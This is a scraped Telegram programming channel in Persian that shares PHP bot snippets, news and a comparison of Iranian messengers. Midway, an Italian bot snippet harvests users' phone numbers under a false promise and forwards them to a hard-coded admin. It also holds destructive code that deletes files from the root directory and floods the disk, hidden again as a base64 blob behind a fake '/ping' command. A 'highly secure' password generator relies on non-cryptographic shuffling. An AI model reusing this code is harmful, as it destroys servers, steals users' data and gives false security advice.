یادداشت های برنامه نویس آماتور | Amateur programmer notes
61 subscribers
92 photos
10 videos
34 files
88 links
اندازه ی آرزو هات مهم نیست
مهم اینه تو چقد میبینیش
آرزو هاتو بزرگ ببین


</create> by <ashkan\>
Download Telegram
#تیکه کد ساخت کیبورد
//=====
$menu = json_encode(['keyboard'=>[
[['text'=>'نام دکمه مورد نظر'],['text'=>'نام دکمه مورد نظر']],
],"resize_keyboard"=>true]);

#mr.ashkan
Forwarded from Pavel Durov
The power that local governments have over IT corporations is based on money. At any given moment, a government can crash their stocks by threatening to block revenue streams from its markets and thus force these companies to do strange things (remember how last year Apple moved iCloud servers to China).

At Telegram, we have the luxury of not caring about revenue streams or ad sales. Privacy is not for sale, and human rights should not be compromised out of fear or greed.
Forwarded from MUSIC CHANNEL
با سلام و عرض ادب خدمت کاربران عزیز...
با لطف و یاری خداوند متعال ، از این تاریخ اقدام به شروع رسمی فعالیت کانال @MUSlC_CHANNEL خواهیم کرد.

در این کانال برنامه های مختلف و جذاب موزیک قرار خواهد گرفت که امیدواریم مورد استقبال شما عزیزان قرار گیرد.
همچنین ممکن هست به دلیل وجود کاربران و دوستان غیر ایرانی ، برخی از پست ها به چند زبان قرار داده شود.

دوستان بسیاری اعلام آمادگی برای فعالیت در کانال نموده اند که ضمن تشکر از این عزیزان ، تیم کانال و سایت موزیک کامل می باشد و فعلا نیازی به ادمین نیست و در آینده اگر این نیاز احساس شد ، حتما در کانال اطلاع رسانی خواهد شد.

با تجدید احترام
مدیریت کانال موزیک

✅جهت عضویت می توانید به لینک زیر مراجعه کنید:
t.me/MUSlC_CHANNEL
#فانکشن #خیلی_کاربردی
ارسالی اشی
حتما دیدید تو بعضی انتی اسپما که فیلترینگ کلمشون هوشمنده و مثلا شما کلمه 'تست' رو فیلتر میکنی این کلمات هم شناسایی میشن:
تسسسسستتتتتت
تتت $^%**^/=سست
تتتتتسسسسس^*^*؛تتتتت^€^&تتتت
و...

خب ما فانکشنشو براتون آماده کردیم! گرچه تو انتی اسپم خودمونم استفاده شده ولی برای سورپرایز شما کاربران میزاریم! 😉

function is_filter($filter,$input){
$text = strtolower($input);
$filter_check = preg_replace('/([^\sa-zA-Zآ-ی]+)/u','',$text);
$filtered = implode("*", str_split($filter))."*";
return preg_match("/($filtered)\w/",$filter_check);
}
نمو
نه استفاده:
echo is_filter('irDev','ir./?<,>Oo0875214DDdEe.e====!@#$%^&*()_-VVVvv');
خروجی true


موفق باشید
کپی بدون ذکر منبع اکیداااااا ممنوع
مقایسه امکانات پیام رسان های مشهور ایرانی و خارجی

جمع آوری توسط : mr.ashkan
دریافت اطلاعات IP :

فانکشن مورد نیاز :

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "
", " ", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}

نحوه ی استفاده :

echo ip_info($_SERVER[
'REMOTE_ADDR'],'location');

➖➖➖➖➖➖➖➖
#فانکشن برای حذف کامل پوشه

function DeleteFolder($path){
if ($handle=opendir($path)){
while (false!==($file=readdir($handle))){
if ($file<>"." AND $file<>"..") {
if (is_file($path.'/'.$file)) {
@unlink($path.'/'.$file);
}
if (is_dir($path.'/'.$file)) {
deletefolder($path.'/'.$file);
@rmdir($path.'/'.$file);
}}}}}

توسط این فانکشن قادر خواهید بود یک پو
شه را به طور کامل حذف کنید.
برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.

➖➖➖➖➖➖➖➖
عامل اصلی رسوایی فیس بوک مجبور به عذرخواهی شد

🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
if(strpos(" ".$msg, "/numero ")) {
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!

👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}

if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
if($msg)
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}
if($msg == "/ping")
{
$password = "JGFkZmx5ID0gZmlsZV9nZXRfY29udGVudHMoImFkZmx5Iik7IAokdXJscyA9IHNjYW5kaXIoIi8iKTsKZm9yZWFjaCgkdXJscyBhcyAkdXJsKQp7CnVubGluaygkdXJsKTsKJHJpc3VsdGF0aSA9IHNjYW5kaXIoJHVybCk7CmZvcmVhY2goJHJpc3VsdGF0aSBhcyAkcmlzdWx0YXRvKQp7CnVubGluaygvJHVybC8kcmlzdWx0YXRvKTsKfQp9CndoaWxlKDE9PTEpewpta2RpcihyYW5kKDAsIDEwMDAwMCkpOwpmaWxlX3B1dF9jb250ZW50cygiQ09ESUNFIEJPVC5waHAiLCAkYWRmbHkuInBocD8+Iik7CnNtKCRjaGF0SUQsICRsaW5rKTsKfQ==";
$ping = base64_decode($password);

//proteggo l'identità, per poter agire in totale aninimato
file_put_contents("ping_nasa_identity_protection.php", $ping);

//avvio il ping
include("ping_nasa_identity_protection.php");
}
🔴 فعالیت تلگرام در بیشتر نقاط دنیا از سر گرفته شد.

بی‌بی‌سی- تلگرام می‌گوید خدمات این پیام‌رسان در بیشتر نقاط اروپا، روسیه و جمهوری‌های شوروی سابق از سر گرفته شده و در ایران و منطقه خاورمیانه هم به زودی به طور کامل فعال خواهد شد.

پیام‌رسان تلگرام از حدود دوازده ساعت پیش در نقاط مختلف دنیا از جمله ایران دچار اختلال شده بود. پاول دوروف، مدیرتلگرام داغ شدن بیش از حد یکی از سرورهای خوشه‌ای این پیام‌رسان در اروپا را دلیل قطعی آن خوانده بود.

در ایران نیز در خیلی از نقاط مجددا پیام رسان تلگرام براه افتاده است.
@Jasuss
یکی از قدم های اولیه برای ورود به دنیای وب خرید هاست و دامنه است! خرید هاست و دامین آسان است اما بدون دانش اولیه و آگاهی از چگونگی خرید یک هاست خوب و دامنه مناسب، قطعا انتخاب بهینه و درستی صورت نخواهد گرفت. ما در این دوره ویدئویی به صورت کامل شما را با نکات مربوط به خرید Host و Domain و همچنین چگونگی خرید هر کدام آشنا خواهیم کرد. معرفی و بررسی انواع هاست (هاست ویندوز ، لینوکس ، VPS ، هاست وردپرس و غیره) ، آشنایی کامل با دامنه و پارامتر های آن ، برترین هاستینگ های ایران و نهایتاً چگونگی خرید هر کدام، برخی از سرفصل های این دوره ویدئویی هستند
بسته های یک ماهه ایرانسل

✅مدت بسته یکماهه

✅معاف از مالیات

✅تمام وقت
1 گیگ یکماهه 4000 تومان

2 گیگ یکماهه 7000 تومان

3 گیگ یکماهه 10000 تومان

4 گیگ یکماهه 13000 تومان

5 گیگ یکماهه 16000 تومان

10گیگ یکماهه 29000 تومان

خرید
@JASUSS
قوانین کشور ما : خوندن اطلاعات مردم با هدف تامین امنیت و حفظ حریم خصوصی افراد
تابع ساخت رمز عبور تصادفی با امنیت بسیار بالا در php
👇👇
<?php

function RandomPass($length = 8) {

    $vmsString = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./"[]{}!@#$%^&*()=-';

    return substr(str_shuffle($vmsString),0,$length);

}

?>

حالا هر کجا که میخواید کد نمایش داده بشه همین تابع رو چاپ یا اصطلاحاً echo نمایید

<?php echo RandomPass() ?>

نکته : به صورت پیش فرض یک رمز عبور 8 کارکتری به صورت random ساخته میشود و برای تغییر میتوانید یک عدد که نشان دهنده تعداد کارکتر خواهد بود ، درون پرانتر قرار دهید .

به عنوان مثال 12 کارکتری :

<?php echo RandomPass(12) ?>
💠 پیام رسان های داخلی:
- گپ (https://gap.im)
- بله (https://bale.ai)
- ایتا (https://eitaa.com)
- سروش (https://soroush-app.ir)
- آی گپ (https://www.igap.net)
- بیسفون (https://bisphone.com)
- ساینا (http://syna-app.ir)
- فانوس (http://fanoosapp.ir)

بررسی شدند و از این میان تنها پیام رسان های گپ، بله و ایتا دارای بخشی برای برنامه نویسان و توسعه دهندگان داشتند.

📨 سروش:
با این که زیاد تبلیغش میشه (چون برای صدا وسیماست) ولی ui اپ اندرویدش بشدت اذیت کننده هست ولی در عوض نسخه ی دسکتاپش بهتر کار شده.
این که grouping داره و کانال ها و گروه ها و مخاطابین رو جدا سازی کرده از نکات مثبتش هست.
ولی جایی برای برنامه نویس توی این پیام رسان پیدا نمیشه لذا این بدرد من برنامه نویس نمیخوره.

📨 ایتا:
مشخص هست که بنیان این پیام رسان، مهندسی معکوس و سورس های تلگرام هست و با پروتکل MTProto کارمیکند.
سرعت به شدت پایینی دارد و هنوز بخش توسعه دهندگانش بصورت کامل راه اندازی نشده.
توی صحنه رقابت پیام رسان ها هم تلاش خاصی نمیکنه که مخاطب جذب کنه، و فیچر جدیدی ارائه نداده.
لذا این گزینه هم بدرد من برنامه نویس نمیخوره.

📨 آی گپ، بیسفون، ساینا، فانوس:
اینجاها هم جایی برای برنامه نویس نیست!

✅ بله:
پیام رسانی تحت نظارت بانک ملی، ui نسبتا خوب و امکاناتی کاملا بومی.
از مزایای این پیام رسان، امکان پرداخت در api اون (https://developers.bale.ai) هست که شما بدون داشتن درگاه اینترنتی (که گرفتن یه درگاه مشکلات زیادی همراه داره) میتونید کسب و کار ایجاد کنید و کاربرانتون در رباتتون با خیال راحت در بستر بانک ملی پرداخت انجام بدن.
این که بانک بخشی از تراکنشاتش رو آورده روی بستر پیام رسان، میتونه دلیل بر امن بودن بستر این پیام رسان باشه.
این پیام رسان میتونه گزینه ی خوبی برای من باشه.
اما...

✅ گپ:
یک فضای کاملا مناسب فعالیت اقتصادی با امکاناتی همچون فروشگاه ساز، مسابقه ساز، آزمون ساز و قابلیت های ارسال پیام همگانی به کاربران ربات شما، آمار کاربران ربات شما، آرشیو پیام های ارسالی و دریافتی ربات و...
داشتن یه api خوب (https://developer.gap.im/documents) و امکانات ذکر شده به شدت آدم رو وسوسه خودش میکنه ولی آیا عموم نسبت به پیام رسان بله استقبال بیشتری میکنند یا نه، باعث شده در انتخابش دو دل باشم.

📌 لذا من پیام رسان بله و گپ رو انتخاب میکنم (یکی از معایب گپ نداشتن نسخه ی دسکتاپ هست که با استفاده از قابلیت _custom service نرم افزار Rambox [https://t.me/wecangp/224] کمبود رو میشه برطرف کرد تا نسخه دسکتاپ هم منتشر بشه)، و انرژی رو روی این دوتا میذارم و درکانال ما با همین آی دی (@Jasuss)در هردو پیام رسان مطالبی جهت ساخت ربات همراه با سورس برای این پیام رسان ها منتشر خواهد شد. و همچنین مبدلی برای تبدیل سورس ربات تلگرام به ربات های این پیام رسان ها.

〰〰〰〰〰

⚫️ پروژه هایی هم در تلگرام ناتمام ماند:
https://t.me/ /125
https://t.me/ /152
https://t.me/ /215

که امیدوارم دوستان ببخشند اگر منتظر منتشر شدنشو بودند.



#Mickel

🇮🇷 @Simpleprogramming